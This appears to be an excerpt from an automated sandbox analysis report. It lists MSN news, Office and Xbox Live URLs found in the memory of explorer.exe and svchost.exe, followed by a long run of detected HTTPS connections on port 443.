Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-o
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/trump-whines-to-cameras-in-ny-fraud-case-before-fleeing-to-f
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/a-second-war-could-easily-erupt-in-europe-while-everyone-s-dist
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/england-considers-raising-smoking-age-until-cigarettes-are-bann
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/nobel-prize-in-literature-to-be-announced-in-stockholm/ar-AA1hI
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-expresses-worry-about-congressional
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: svchost.exe, 00000028.00000003.3322939050.0000019EA512B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.3507374563.0000019EA512E000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.3507536499.0000019EA513A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.3507277889.0000019EA512C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.3507221443.0000019EA5121000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.3507637927.0000019EA513D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.3993924488.0000019EA513E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/pwa
Source: svchost.exe, 00000028.00000002.4015313521.0000019EA5D7E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/pwaimages
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.stacker.com/arizona/phoenix
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.starsinsider.com/n/154870?utm_source=msn.com&utm_medium=display&utm_campaign=referral_de
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.yelp.com
Source: svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000000.2807061471.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3972769188.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com-969C-B95DBF145D3D.local
Source: svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000000.2807061471.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3972769188.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com/
Source: svchost.exe, 00000036.00000000.2807061471.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3972769188.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com3
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.comd

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
